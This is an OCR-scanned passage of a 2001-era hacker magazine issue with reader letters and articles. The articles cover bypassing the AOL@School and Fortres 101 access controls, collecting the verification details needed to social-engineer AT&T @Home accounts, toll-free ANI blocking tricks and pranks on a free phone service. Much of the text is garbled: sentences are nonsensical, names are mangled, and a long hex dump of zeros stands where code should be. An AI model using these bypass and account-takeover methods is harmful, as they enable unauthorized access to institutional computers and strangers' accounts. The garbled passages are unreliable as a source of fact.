strategic, tactical on how to kill specific people would last very long anywhere. But "you're government" ones are a bit thicker. Putting aside any terror tactics, your local police force may endorse you may be subjected to a legitimate complaint of wrongdoing by the police department of your city. Again, it all depends on what you do with the site. If you have a site devoted to complaining against the police, for instance, we're here that would be completely allowed, especially since the police have no inherent right to a close eye with their name in it. It all depends on whether you could be seen as misrepresenting yourself.

Dear 2660:

I want to board on a few letters that were written in 181. I believe there were three letters regarding how the governmental has your subscription list for whatever purpose. While I'm willing to concede that there is probably a sizable minority of readers of 2660 who have subversive (understanding of just plain "harmful" actions associated with their copy of 2660). I saw a group why the government would mistake the overall message of your magazine to be that of a subversive nature. I'm not sure for conspiracy theories, but in the eyes of persons to not be surprised if a theory proves true. However, what that said I don't think it's time to go around screaming that the sky is falling. I see a subscriber to your magazine and don't worry about what Agent Smith thinks about me. I am a partner, American and I love my country very much. I just disagree often with the government and their decisions. Two distinct entities, certainly. I'm not going to go all Obama City and in no way do I intend to even do so much as intentionally send a fragmented packet the way of a spy web site. Now that my presence is set, I am at a moral dilemma. People can get the impression that we have it bad in America from reading your magazine. However, with the recent propaganda, passed onto the Chinese, people won't say please issue, and their recent attacks on governmental web sites with their National anti-Anglo-American sentiment. I am thankful for at least get to have a magazine like 2660. Couple all of this together and what do we have? Can I find a hacker and wonder with each passing day around My Day is spiralingly by while these "hackers" and their all-concealed propaganda on my country. Your thoughts?

Double-Telex

One thing about propaganda is that it very rarely works in any one direction. The specifics of the Chinese incident aside, the obvious error that happened from both countries had apparently already gone to war was both angry and confident. Now we see how our response to your comment took at our abilities. They believe factors will be the stability of the Chinese against the identity, we received more incentives to turn this sort of what we receive from military e-mail addresses. We know of nobody outside the country who took part in their operations. But the press brought the story out, it would flow to the public. And now this is new history.

Continued on page 48

AOL At

AOL@School

by The Datahopper

As many of you may or may not know, America Online has been working on its "safe school project" for quite some time. It is currently in one of its last testing phases, before mass release. They claim that the purpose of this project is to provide all schools Internet access for their students in a safe, controlled environment including access controls that can be customized to fit the students' maturity levels. In short, it is a way to censor the Internet and monitor student internet use. After all, AOL will know the ages of the students, their geographical locations, and their interests (based on email and Internet monitoring). They use a proxy server to monitor all traffic through the program, and in fact, this same filter is used on their regular users. The noted purpose of this proxy is to determine whether or not to allow a website's content to be displayed. If it is considered "unsuitable," the student is prevented with a "blocked website" message.

The entire program is actually just a slightly modified version of AOL. The sign on options are "AOL @ school member" or "Access an AOL @ school member". If you are already a member, it simply gives you a modified guest sign on screen, and allows you to use... well, I haven't quite figured that out yet what it lets you do. Almost every keyword is blocked, all websites I would bother with are blocked (including numerous type sites), and buddy lists are not even available.

Or so it seems....
After getting pissed off that I had a TS hookup and couldn't do anything with it (they removed Internet Explorer and blocked access to about everything else in Windows), I simply went into "My Computer", put in the web address, and it instantly went into Internet Explorer.

That wasn't fun. That is all I could think of, so I took a closer look at AOL. @ school and grabbed a copy of the serial number/registration code (which is school specific). When I got


home, I installed AOL as being your own access, and logged onto my service provider. I then set up AOL for a new member, put in the serial I got from school, and well, I had an AOL @ school account.

OK, now what to do: Let's look at the menus AOL provides for me (I have found AOL 5.0 easier to use in this situation than 6.0). I managed to get into parental controls, as it was only restricted in a couple of ways, and changed all of my settings so it would allow me access to buddy lists, etc. This was still really limited, so I created a new screen name, and gave it general access, made it a master account, and enabled everything. I then managed to get into the buddy list setup (you may have to play around with keywords and buttons a little but it isn't too hard) and put my own screen name on the list. This ensures that it will show up when I sign on at school (since it isn't really available there as a feature, but is hidden within the legacy code of AOL's program).

I now have access at school (legitimately through the program the school provided me) access to any website, that mean, hardly just, and almost every keyword I wish. Keyword "news" is restricted, go figure. Who would want to have news available at a school anyway?

AOL is still as terrible as ever but it kept me amused for a while at least. I am sorry for not being able to provide the serial number but it would give away my physical location as it is in filtered logging right now. It should be widely used now. I hope that those of you who must submit to this cruel form of punishment will be able to take this knowledge and have a little fun exploring AOL. Just remember your ethics. Don't do anything to someone else's system you don't want done to yours!

Fun With Fortresses



-by Amatus
at1115002@yahoo.com

Through my high school career, I have developed an animosity towards a certain piece of security software for Microsoft Windows. Fortres Grand Corporation (www.fortres.com) sells this software - named Fortres 101 - mostly to schools, libraries, and similar institutions.

Access to the computer is limited in several ways by Fortres. It can be configured to control access to icons on the desktop, the start menu, context menus. Explorer menus, Windows hostkeys, reading, writing, and executing the filesystem, reading and writing the registry, and even web browsing. As you may have already guessed, this usually interfaces with the normal operation of many applications. At my old high school the teacher would disable Fortres on request because it interfered with our regular school work. A good friend of mine found that a fake password dialog was an effective way of getting the admin password in this situation.

All versions of Fortres (that I know of) have a configuration dialog that can be accessed by pressing CTRL+ALT+SHIFT+F5C. You are then presented with the password dialog box. If backdoor passwords are enabled, a supposedly random

number appears in the dialog box caption. A one time use password, also a number, can be generated from the backdoor key. A call to technical support can supply you with the backdoor password or to this function, take your pick.

1) Set: 00000000000000000000000000000000
2) The serial code to the backdoor password
3) The backdoor password itself (once)

00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000

If you can't do this in your head, a "recovery device" can do it for you in a matter of microseconds. I'm currently working on software for TI calculators. I have not yet looked into writing software for any other handheld devices, as I do not have any. If you are interested in something like this, cross your fingers and hope I have a web server running at some address, even.

The backdoor key is not there? Don't worry. Through some testing I have found that the file containing the Fortres password is always readable, no matter how Fortres is configured. This means that if you have the ability to execute your own programs on the computer, you can read the configuration/password file and decipher the password. Almost every computer I have seen in a high school has a CD-ROM drive and will allow you to execute programs through the use of a CID with VOLUME.INI. Fortres versions 3.x and 4.x passwords can be expunged using these functions.

When Fortres is misconfigured, there are many ways to disable it. This article is meant to help attack the more secure installations. At my old high school we had a DOS version of AutoCAD installed on


```

00000000: 00000000
00000001: 00000000
00000002: 00000000
00000003: 00000000
00000004: 00000000
00000005: 00000000
00000006: 00000000
00000007: 00000000
00000008: 00000000
00000009: 00000000
0000000A: 00000000
0000000B: 00000000
0000000C: 00000000
0000000D: 00000000
0000000E: 00000000
0000000F: 00000000
00000010: 00000000
00000011: 00000000
00000012: 00000000
00000013: 00000000
00000014: 00000000
00000015: 00000000
00000016: 00000000
00000017: 00000000
00000018: 00000000
00000019: 00000000
0000001A: 00000000
0000001B: 00000000
0000001C: 00000000
0000001D: 00000000
0000001E: 00000000
0000001F: 00000000
00000020: 00000000
00000021: 00000000
00000022: 00000000
00000023: 00000000
00000024: 00000000
00000025: 00000000
00000026: 00000000
00000027: 00000000
00000028: 00000000
00000029: 00000000
0000002A: 00000000
0000002B: 00000000
0000002C: 00000000
0000002D: 00000000
0000002E: 00000000
0000002F: 00000000
00000030: 00000000
00000031: 00000000
00000032: 00000000
00000033: 00000000
00000034: 00000000
00000035: 00000000
00000036: 00000000
00000037: 00000000
00000038: 00000000
00000039: 00000000
0000003A: 00000000
0000003B: 00000000
0000003C: 00000000
0000003D: 00000000
0000003E: 00000000
0000003F: 00000000
00000040: 00000000
00000041: 00000000
00000042: 00000000
00000043: 00000000
00000044: 00000000
00000045: 00000000
00000046: 00000000
00000047: 00000000
00000048: 00000000
00000049: 00000000
0000004A: 00000000
0000004B: 00000000
0000004C: 00000000
0000004D: 00000000
0000004E: 00000000
0000004F: 00000000
00000050: 00000000
00000051: 00000000
00000052: 00000000
00000053: 00000000
00000054: 00000000
00000055: 00000000
00000056: 00000000
00000057: 00000000
00000058: 00000000
00000059: 00000000
0000005A: 00000000
0000005B: 00000000
0000005C: 00000000
0000005D: 00000000
0000005E: 00000000
0000005F: 00000000
00000060: 00000000
00000061: 00000000
00000062: 00000000
00000063: 00000000
00000064: 00000000
00000065: 00000000
00000066: 00000000
00000067: 00000000
00000068: 00000000
00000069: 00000000
0000006A: 00000000
0000006B: 00000000
0000006C: 00000000
0000006D: 00000000
0000006E: 00000000
0000006F: 00000000
00000070: 00000000
00000071: 00000000
00000072: 00000000
00000073: 00000000
00000074: 00000000
00000075: 00000000
00000076: 00000000
00000077: 00000000
00000078: 00000000
00000079: 00000000
0000007A: 00000000
0000007B: 00000000
0000007C: 00000000
0000007D: 00000000
0000007E: 00000000
0000007F: 00000000
00000080: 00000000
00000081: 00000000
00000082: 00000000
00000083: 00000000
00000084: 00000000
00000085: 00000000
00000086: 00000000
00000087: 00000000
00000088: 00000000
00000089: 00000000
0000008A: 00000000
0000008B: 00000000
0000008C: 00000000
0000008D: 00000000
0000008E: 00000000
0000008F: 00000000
00000090: 00000000
00000091: 00000000
00000092: 00000000
00000093: 00000000
00000094: 00000000
00000095: 00000000
00000096: 00000000
00000097: 00000000
00000098: 00000000
00000099: 00000000
0000009A: 00000000
0000009B: 00000000
0000009C: 00000000
0000009D: 00000000
0000009E: 00000000
0000009F: 00000000
000000A0: 00000000
000000A1: 00000000
000000A2: 00000000
000000A3: 00000000
000000A4: 00000000
000000A5: 00000000
000000A6: 00000000
000000A7: 00000000
000000A8: 00000000
000000A9: 00000000
000000AA: 00000000
000000AB: 00000000
000000AC: 00000000
000000AD: 00000000
000000AE: 00000000
000000AF: 00000000
000000B0: 00000000
000000B1: 00000000
000000B2: 00000000
000000B3: 00000000
000000B4: 00000000
000000B5: 00000000
000000B6: 00000000
000000B7: 00000000
000000B8: 00000000
000000B9: 00000000
000000BA: 00000000
000000BB: 00000000
000000BC: 00000000
000000BD: 00000000
000000BE: 00000000
000000BF: 00000000
000000C0: 00000000
000000C1: 00000000
000000C2: 00000000
000000C3: 00000000
000000C4: 00000000
000000C5: 00000000
000000C6: 00000000
000000C7: 00000000
000000C8: 00000000
000000C9: 00000000
000000CA: 00000000
000000CB: 00000000
000000CC: 00000000
000000CD: 00000000
000000CE: 00000000
000000CF: 00000000
000000D0: 00000000
000000D1: 00000000
000000D2: 00000000
000000D3: 00000000
000000D4: 00000000
000000D5: 00000000
000000D6: 00000000
000000D7: 00000000
000000D8: 00000000
000000D9: 00000000
000000DA: 00000000
000000DB: 00000000
000000DC: 00000000
000000DD: 00000000
000000DE: 00000000
000000DF: 00000000
000000E0: 00000000
000000E1: 00000000
000000E2: 00000000
000000E3: 00000000
000000E4: 00000000
000000E5: 00000000
000000E6: 00000000
000000E7: 00000000
000000E8: 00000000
000000E9: 00000000
000000EA: 00000000
000000EB: 00000000
000000EC: 00000000
000000ED: 00000000
000000EE: 00000000
000000EF: 00000000
000000F0: 00000000
000000F1: 00000000
000000F2: 00000000
000000F3: 00000000
000000F4: 00000000
000000F5: 00000000
000000F6: 00000000
000000F7: 00000000
000000F8: 00000000
000000F9: 00000000
000000FA: 00000000
000000FB: 00000000
000000FC: 00000000
000000FD: 00000000
000000FE: 00000000
000000FF: 00000000

```


Microsoft Windows 95 machines. The sysadmin had the computers setup to boot in DOS mode for this application. AutoCAD has a file mangling tool that allowed an attacker to overwrite CONFIG.SYS and AUTOEXEC.BAT with backups. This is an example of a misconfiguration in the favor of usability; something every sysadmin has to do at one point or another.

The code for generating backdoor passwords was obtained by reverse engineering a program sent to me by a friend. I'm pretty sure he grabbed it off some warez site or something. The code for deciphering Fortes 4x passwords was written exclusively by my reverse engineering of FORTRES.EXE. When I began I knew no assembly - now I can blindly patch binaries without the help of a compiler, thanks to Fortes Grand Corporation. All the credit for the Fortes 4x code goes to Ivost_Byte

(pakistan@security.com/0004-exploits/Forens-analysis.txt. I only transcribed it into C and optimized it a little. All symbols needed are defined in win-dows.h.

I hope all of you find this information interesting. Doubt should form in your mind whenever hearing the words "security" and "Windows" in the same sentence. As always, the information expressed within this article is purely for hacking purposes. I do not make any claim to the security or correctness of any of it. This information is provided "as is" and I am not responsible for any damages caused by the misuse of it. In fact, forget you ever read this article.

(I love you Steph)



AT&T at Home

by indelis

Here's some interesting information about AT&T @Home. I have been working for their First Level Tech Support for a while now. In this time I have gotten quite a bit of knowledge about the service and how AT&T handles its subscribers. Now I could go into great length about a lot of their procedures and regulations, but I won't bore you with most of that. We all know what you're here for. The down and dirty information. AT&T @Home (for those who don't know this already) is a cable modem network. In 1998 AT&T purchased a chain of cable companies called TCI. TCI and Excite had a working partnership in the @home service. Since then, AT&T has purchased many, many more independent cable companies for cable modem and cable TV services. AT&T is truly only interested in the American Greenback and Canadian Loons. AT&T @Home has grown so large that AT&T

really can't keep up with its own service. It is so large that AT&T outsources its Tech Support to the highest bidders. I work for the largest of the companies.

Let's start with the beginning of a typical call. It should go something like this.

Agent: Thank you for calling AT&T @Home. Can I have the Telephone Number on your account please?

Sub: (guy stutters)

Agent: Thank you. May I verify your full name and address please?

Sub: (guy stutters and mumbles)

Agent: Finally can I have your Personal Access Code? (PAC)

Sub: (guy coughs)

This is important to know. If you ever wished to social engineer your way into someone's account this is what you will need. Generally, the basic information should be simple to get and AT&T really doesn't care much

The NEW AT&T Network

by Larry 225

It seems that AT&T was not too fond of my ANI Spooling article that appeared in 2690 174. Just a few days after it came out, I started noticing a lot of changes in the AT&T network. First they shut off their 800 A-NAC. A few days later calls that were routed to 800-673-7286 by the Verizon Long Distance operator were handled strangely. I began noticing that if I made a call through the Verizon long distance operator to 800-673-7286 (800-operator), I could place calls to 800 numbers not on the AT&T network, but that the ANI was being sent as 635-986-9873 or ANI II Pair 25 followed by area code 904. Thus, calls placed through the Verizon Long Distance operator to AT&T's 800 operator could not be used to spoof ANI anymore. The 615 number belongs to a PBX owned by AT&T in Nashville, Tennessee. I could still spoof ANI on the AT&T network if I diverted through any local operator or various other 800XXX long distance carrier operators, but this April it stopped working. I soon figured out what was happening. AT&T has centers all around the country including Alaska and Hawaii. The way SST works, depending on where you're calling from, an 800 number can be routed to various other places. For example, there could be a nationwide 800 number that allows you to call from anywhere in the country. But a person who calls the same 800 number from Florida could get routed to that business's office on the east coast, and a person who calls from California may get routed to the west coast office. That's what it's like when you call 800-673-7286. You get routed to the nearest AT&T center near you to take the call. So when I was making a call through the Verizon Long Distance operator to 800-673-7286 I would get routed to the Florida AT&T center because the Verizon Long Distance operator I got was based

out of Florida. That was why when I had the AT&T operator dial an ANAC it would show 23-994 (Florida). However, not all Verizon Long Distance operators are based in Florida, so sometimes when I called I'd get the 615 number. The AT&T center that transmits that funny 615 number should probably be uninstalling 23-615 and use 00-615-986-9873, but for whatever reason, AT&T has left it like that.

The ANI Centers

As I mentioned, there are various AT&T centers throughout the country, and they are also the centers that handle the automated AT&T Long Distance operator services, as well as 800-calls and 800-operator. With the new upgrade that AT&T is implementing (widely spread across the country by now, I predict), each center is getting a total makeover. There will be no more ANI spoofing to AT&T numbers. They are updating these centers so that you can call any 800 number through the AT&T carrier. Calls to 800-673-7286 that have an ANI dial will no longer use the phone number you give as ANI when calling other toll free numbers. Instead, ANI II pair 23 and the area code of the AT&T center will be used. However, the best part is that you can place calls to toll free numbers without speaking to an operator. Simply dial 10-10 AT-10 (10-10-288-0) and enter the toll free number you want to call. The ANI will show up as ANI II pair 23 and the area code of the AT&T Center. Op diverting without even having to speak to the op. However, you will notice that if you try to dial 800-calls that 800-673-7286 it will appear that your ANI still shows up. This is because these numbers are handled by the same AT&T center. However any toll free number not handled by the AT&T center (basically any toll free number that's not used for AT&T operator services) will be processed with your ANI not being transmitted.



about it except for legal reasons. What they look for in verification is the PAC. The PAC is essentially one of a few things: mother's maiden name, pet's name, last four digits of a Social Security Number or account number, although it is usually the mother's maiden name. If for some reason you can't guess the PAC, AT&T asks for either the login ID or modem serial number. The login ID is rather easy. Just get their email address and there you have it. (Once you verify this information for them, you have access to their entire account within reason of the agent you're talking to. Most agents aren't too bright. They have to score a 30 percent on a general knowledge test to get the job.)

When you ask to speak to a supervisor, you are transferred to a section of a call center called Floor Support. These guys are no different really from any other Tech and Line on the phones. They just get Scope calls. They can't do anything more than we can. Save yourself the time and stick with the first person you talk to. Generally it's about 30 minutes in talk to a T3 agent, just to get someone who can't do what you want.

When someone calls to get installed with a new account, they are set up with an account on that call. The username, password, and PAC are all created at that time. About 70 percent of the time the password to a sub's account is just "password" either in lower or upper. This username and password is more than just access to get someone's email from them. It also logs them into the @home Web page. From here, you can do all kinds of things. The @home page is behind a proxy server (http://msys.8080 on the @home network). Unless you are on the @home network, you won't have a lot of luck getting in without some work. However, if you are on the @home network, you can log into someone's account from there. This kind of access to someone's account can be dangerous. AT&T does nothing to discourage this either. Some examples of things that could be done from inside the Member Services: add IPs, create email accounts (each account can have seven), and set up Net Mail and dialup services.

could in theory take their IP address and Client ID and use it for your own purposes.

Adding email accounts. Any newly backed free services (hotmail, USA, and others). Sure you could use a special SMTP to send your mail from anywhere, but it's always nice to have somewhere to get it too.

Net Mail allows you to check your mail from anywhere on the web. If you had a hacked email account that you added with the Login and Pass you found, you could anonymously check it through a nice webpage that masks your IP address. There are many who do this.

Set up dialup access. For a minimal \$15 setup fee and 15 cents a minute, you can dial up to the @home service. No need to say anything more on this.

When you are transferred up to Tier 2, they have a rather interesting tool they use. It's called the matrix. This really makes me gag. Tech with its bad reference to a good movie, and its use. When the AT&T @Home software is installed, it installs the matrix without asking the user if they want it. It allows the tech to take over a person's computer, change settings, and fix problems. Now I don't know much about the program other than what it's used for. But I don't like it. Perhaps someone who knows a bit more about it could post something that gives better detail (i.e., what port it uses, and how it's disabled/removed).

The damages to a person's account are enormous when looking at it from this perspective. AT&T really hasn't done much to fix its problems with security, let alone the problems with its expanding service. It reminds me of what happened with AOL, only a few years back. AT&T needs to take a step back and fix these obvious problems. At the price you pay, is it worth it knowing that your account is ready for the plucking at the hands of a malicious criminal? Just think about it.

Shouts to the Darkside crew, Toxic, waffle, Mental Angel, Station, Awe #2000 (DAT, you and finally my Jam!!) Steve!

There are a few advantages and disadvantages of this new system. The only real disadvantage is that you cannot speed ANI anymore. The advantages, though, are that you can place calls to basically any toll free number you wish without your ANI being passed simply by dialing 10-10-ANI-0 and then pressing in the toll free number you want to call at the AT&T prompt. You can even use this at pay phones to call toll free numbers that don't allow pay phone calls or to get around pay phone surcharges. Op-dressing used to be so hard - local eggs not wanting to help you out, and

1010XXX carrier ops only being able to be reached from certain parts of the country, and the local downside being that you had to talk to an operator who might listen in to your call when trying to divert to toll free numbers. But now, thanks to AT&T's new network that you can reach anywhere in the country by simply dialing 10-10-238-0 or even just 00 if you have AT&T. I'm sure AT&T logs your ANI and probably would take action if you were harassing a toll-free number long enough, but for now you can think of 10-10-238-0 as your own free ANI blocking service.

TELL ME

USES and ABUSES

by Seymour Chantok

seymour@chaikenmind.net

TELL ME is, in this writer's opinion, a fantastic new service that has more features than this article could ever cover. By dialing 1-800-555-8355 (TELL) you are connected to a free, voice activated system. Provided are services such as "phone booth," allowing a person to make a free one minute call to virtually anywhere in the US, "wake up Call," which does exactly what it says it does, is completely free of charge. And "Driving Directions," which is very useful if you need to figure out how to get somewhere while you're on the road. Personally, I would hate to see anyone abuse this wonderful service, but nonetheless some things do exist. This article is meant to introduce the reader to the possibilities provided by the kind people at Tell Me, and is not for the purposes of defrauding anyone.

Uses

The first feature of interest would most likely be "Phone Booth." Call up Tell Me at 800-555-8355 and, after a brief ad (which is the only price you need to pay), speak the words "Phone Booth" at the prompt. You'll be automatically transferred to this feature, which will then let you call any number in the US that you wish. The only exceptions are 900 numbers or other

"pay per use" services, such as 800 numbers that lead to operators. Once your call is connected, you have one minute to speak your mind before a verbal warning notifies you that only 20 seconds remain. While slightly annoying, it can be incredibly useful when you just want to say hi and don't feel like faking out 1-800-COOL-LACT.

Sadly, if you do not have a cellular phone handy you won't be able to make these calls away from home, due to Tell Me warning you that you cannot call them from a payphone (should you try). Luckily, this is easily remedied. By pressing 0 to get the local operator, you can inform them that the payphone you are currently at won't let you dial a toll free number. Consider: payphones are bound by law to provide this, the operator will not give you any problems. Tell them the number is 800-555-8355, and what you should hear is the sweet sound of the Tell Me welcome message. This is where things start to get very interesting. But before I show you how certain services can be abused, I'd like to explain their proper uses.

"Wake up Call" is one of those particular features. From there you can set up a wake up call to your phone number (domestic), ANI calls them where you're calling from). If you're at a different location, they'll either say that you

want to call in from that number or they'll give you a call back. This can make it difficult for people to wake up their best friend's at 3 am... but not impossible.

The last feature I will cover is the "Driving Directions." How many times have you been lost in a strange city with nothing but an address you're trying to reach? Well, with Tell Me, all you need to do is find out what address you're sitting next to and call them up. First you tell the "Driving Directions" feature what destination you want to arrive at, followed by your current location. "Driving Directions" will then tell you step by step how to get to your target, which can be extremely useful.

Abuses

As I mentioned earlier, the problem of Tell Me being reached by a payphone is solved by calling through the local operator. But what can be done with this service that would constitute an abuse? The most entertaining one that I've come up with is used with the "Wake up Call" feature. Suppose you're at a university, corporate building, or any other large entity that does not use CXXOPTS. By first getting the number of the payphone you're at (it's not printed on the phone itself, by your local ANAC code - up here in Connecticut it's 970), you can call through the operator to get to Tell Me. Next, log in as a new user and set a wake up call for the payphone's number at, say, 3 pm. Now hang up and move on to another phone. Once you've gotten all the phones set for wake up calls, stick around and watch the chaos ensue as they all ring off the hook at the same exact time. The people around you will have no idea what's going on! Sure, this is a childish thing to do, but if Tell Me's only security is rejecting coin lines, I think they're asking for trouble.


While not necessarily an abuse as of yet, the "Phone Booth" feature does have potential. Recently I've tried calling operators through the service, but as I said above this can't be done. What I did do though, is get the number for Tell Me's computer office. It was rather trivial, but by using "Phone Booth" and calling an ANI reachback number,

you wind up getting their area code and number, which shouldn't make it too difficult to find out where they're located. For those of you who don't want to go through the trouble, the number is 650-930-9100. To all you early thinkers out there, no, you can't have Tell Me call itself in an endless loop. At least, I haven't been able to.

The "Driving Directions" section hasn't really been explored, but does offer one feature that most would not recognize as such. When entering your destination, you could choose to use the city name or zip code. In turn, the computer will send back the city that corresponds with the given code. This can be very useful in figuring out where a particular zip code is. Unfortunately, I haven't had any luck with getting a zip code when I actually name the city myself.

Conclusion

It's important to remember that Tell Me has hundreds of other options, and I highly suggest you call and try out this amazing number for yourself. Also offered are movie listings/reviews, weather reports, blackjack (never lost a hand!), and stock quotes as well. Call them up and see what you can find, but remember, I think we should be grateful to them for providing us with this line. For that reason, please don't overuse it or abuse it. This article has shown you some fun things that can be done, and hopefully they will be changed in the future. But until then, treat Tell Me with respect. They might make you listen to ads, but that's a little better than paying \$10.09 per minute.



will be verified. So, while you may feel frustrated at the negative images you see, remember that calling someone to draw to the nation a positive one. Regardless of how good you may think we have it, we still have an abundance of propaganda being fed to us from them if you disagree with the conclusions of the propaganda. In evidence must be exposed and condemned for we've not really accomplished anything.

Dear 2600:
How do you know when the subscribers die? You could waste money sending copies of your magazines to dead people.

Great. Something else to worry about.
grunt welch

Dear 2600:
How do you say "2600"? A "two thousand six hundred", B) "twenty-six hundred", C) "two six zero", D) something else? Please write back soon, we have a bed on the

MIRKO
Would you indicate if a server came up? Being more active people, we don't have as many a speak our loud.

Dear 2600:
I am from Germany and I travel from time to time in the U.S. Whenever I dial a number, there's not valid (and that happens a lot). I get some strange error messages from the phone network (like error 111) instead of a voice message. What kind of error is that exactly? Is it a kind of service mode or is it to make the customer really feel dumb? Maybe it would be interesting to dial all the different messages, but on the other hand, why care? It's just interesting because instead of dropping the phone out-of-air, the services are going down. On the other hand, you are interested, you're going to make in national calls, no modern jacks - not even in international wiring, and you're finding an AT&T phone with a keyboard and a screen?

Dear 2600:
Some error phone company uses different error messages, it's impossible to say which is the most likely. Knowing which company it is, it sounds as if it's simply an error saying that you dialed an invalid number. So, it would make a lot more sense to have a recording people can understand. It would make a lot more sense if occasionally some number starts in public places if some were based on some sort of system, and if the policy like changing extra for calls to toll-free numbers from pay phone's never happened. The first step in world connecting these numbers is an understood and be able to explain to others why they're unable to do just place.

Dear 2600:
Is there any rhyme or reason as to what UK's guidelines you associated with products on the market? Or is there no set guidelines for UK? For instance, I figured if anyone would know, you guys would. Just curious. Thanks.

Kaliv

While there are different kinds of UK's guidelines, the most most of our familiarity with (and the ones that appear on our covers) have a 12 digit number. One is 725274331326. The first six digits are the magazine's main identifying number which is assigned by the British Code Council. Each one of these numbers represents a manufacturer's manufacturer. Can be a large company or an agency that assigns UK's codes to smaller companies. The manufacturer is in charge of the next five numbers. One is 61155 and was assigned to us by our manufacturer's that in our case is a company that handles our UK's codes. The last digit (9) is a check digit which was a similar system to that of credit cards. The odd numbers are added together then multiplied by 3. The 9's are the subtotal. A 9's even slight one then added together (the 9's and 9's then added). The number would be the total divided by 10 is the check-sum. So in our case, we add the odd numbers (7+5+7+3+1+3=26), then multiply by 3 (3*26=78), and the even numbers (2+2+4+3+3+5=19), and figure out what number is needed to make that divisible by 10 (78+2=80). Our check-sum is therefore 8. The numbers on the far right, six-digits, apply to products and indicate which issue you're looking at. The cover cover says 12, meaning year 1 (2001), issue 2 (Summer). If those numbers weren't there, we would have the same UK's symbol for two issues that could be on the stand at the same time and that could confuse the hell out of consumers.

Dear 2600:
I was looking over the board members of the 2600's when a thought hit me. Why isn't Dave a board member for the consumer? Let's face it, he has the best news to make the consumer happy with the product and want to purchase more? It also occurred that the 2600's had a real legit reason to be established to begin with but seems to have become a straight relic that stands for a corporate scandal/scandals.

Corporate Stupidity
You answered your own question.

Dear 2600:
Ever since I started seeing all those TV ads for Cingular talking about the importance of self-expression and asking people the question, "What do you have to say?" I began thinking about what a lack of respect for maintaining BS it all sounded like. After all, companies, America and the federal government both seem to use much the same tactics. Do whatever it takes to get people on your side. Tell them whatever they want to hear. If it helps boost profits, good knows you can never have too many millions of dollars or too much power, right? Not like it's anything so new. We've already seen it with Verizon and their 60's throwback that to opted the power space. Just another great that nothing is sacred, and all's fair in love and good margins. But, getting to the point, if Cingular really wants to claim they care about what you have to say, then's one very simple way to reach the consumers

they claim to have. You've probably guessed. Some-one registering www.cingular.com or maybe www.cingular.com/consumers/merchandise/feedback.asp would not only tell how much their thinking is like that corporate ads, but would let them know that there are some of us who don't buy into every last corporate ad you've heard or read. And, if it means out there they end up going to extreme lengths to stifle expression, I wouldn't be the least bit surprised.

Dear 2600:
There is a message I got when I went (or the next) to one of my favorite radio stations - KSJO - to listen to some live radio streaming. "Due to continuing uncertainty over rights issues related to the streaming of radio broadcast programming over the Internet, including issues regarding demands for additional fees for the streaming of recorded music and other content, we and our advertisers are forced to temporarily disable live streaming. We apologize for the inconvenience of this interruption. We are working with both our advertisers and the Recording Industry Association of America to find a solution to these problems as quickly as possible so that we can resume our streaming." KSJO has to be one of the wildest radio stations in California (that's a good thing). It has the for one as believe this sort of thing could happen at such a "liberal" radio station!

Benj
Regulators, if a controversial station and they are subject to the record and stupidity of the marketplace. In this case, their negligence represents an opportunity for more alternative forms of Internet broadcasting to become known. While the commercial stations are backing over into your music, noncommercial broadcasters can make their presence felt with the kind of programming these same controversial entities have managed to slip over the public's attention.

Dear 2600:
While I was goofing over my new issue, I was reading the letters and noticed Jeffrey writing about his particular DSL experience in the Washington. Your comments on Verizon's dealing with the situation are right on. Many of the IIJA's will prevent or refuse to facilitate CLEC (Competing Local Exchange) Carriers, like Coxnet, Nortelnet, Rhythmix) ISPs and ISP orders. However, some companies such a thing is new, just now. There is a new bill up for approval from the House Commerce Telecommunications subcommittee, which was just slated for voting by the full committee. The bill is called the Easler-DeAngel bill and it essentially allows regulation from the ILEC industries and pretty much eliminates everything that the Telecommunications Act of 1996 provided. If the IIJA's aren't rejected and forced to provide help services, the CLECs, then the only DSL available will be through Verizon, SBC, Ameritech, and the other giants of the industry. Chairmanhausen is quoted as saying that "Broadband is a market market that does not need regulation. What it needs is the policy to thrive."

So, if you want DSL, but don't want to go with

Verizon (and me, from experience, you don't), then contact your local congressman, especially if they happen to be on the Telecommunications subcommittee, and voice your opinion regarding this bill. If you happen to be a Cingular subscriber, then you can go to www.cingular.com/consumer and this will provide easy information on contacting them. Any other news on this can be found at www.dslreport.com.

Newsjunk
In a controversial post her advisor's (6/10/01), the California power crisis was the result of a poor deregulation implementation. Do you want your husband to do that?

Dear 2600:
I don't know if you heard the Queen Communications raised their pay phone charge from a high 35 cents to 50 cents. Do you guys know why?

Because they can. And if you don't want to pay, check out how much it costs to call a different state from a pay phone when using cash. (I've seen some real honest ones.) When you consider that the people near likely to use cash for such a call may not have their own phone, credit card, or even a place to live, it's surprising. And that's about the only way you can't pay for a pay phone because they're just not profitable. I'd say right - the entire Bell South region will be CUCURRY. Hell is the with.

Dear 2600:
When you give against Corporate America, you get smacked and it seems you've been targeted. I read your beliefs on the Ford case. Not bad, make it as exposure for them as possible! I don't buy Ford anything (not to Ford lawyers, due to creepy product, not 2600). In fact, just thinking about it, how about a symposium on the counterpoint? How about reclaiming some of those defense dollars the DFT plucked in for the DCSS suit?

Dear 2600:
Freedom's just another word for nothing left to live."

I am a small developer. I don't have a lot of money in the bank to pay fines or to pay for lawyers. I have agreed to the bill. As for all of the development work and updating systems that I use, therefore, I don't really "own" my software. I have three servers and one work station. I am still paying Dell Finance for them - I don't really "own" them either. I really don't have anything to lose by taking a stand against the RIAA's something to be proud of. As an American, I will be proud to put my freedom on the line in the face of free speech.

Where will we draw the line? Let just summarize the research, as Mr. Thompson did in his February column, by saying "the public warning scheme intended to thwart copying will succeed," and I know a lot of the RIAA's heavy hand? What if I explain

why this SIDA technology won't work? Will they try even harder to stop me? Should I now also be afraid to say anything critical of the RIAA?

I am not giving away proprietary information. I am not revealing intellectual property. I am not revealing trade secrets. What if I had accidentally stumbled across this fact that "300 public watermarking schemes introduced to Universal copying will succeed" on my own and sold my friends? What other "king pin" wearing any clothes" type of common sense should I be afraid to speak about? That George Bush isn't very smart? That anyone with an IQ greater than that of a dog should be able to make it to the \$125,000 level on *Who Wants to Be a Millionaire?*?

I have printed out the rest of the SIDA article from *sysnews.org*, and I will be handing out copies in this small town in the upper peninsula of Michigan - Escanaba, MI, 49829, 50000. I am not talking here. Come pay the papers from my finger. Come pay your heavy hand over my mouth. I hope all IT professionals to do the same in their home towns across America. Take a stand!

Discoveries

Dear 2600:

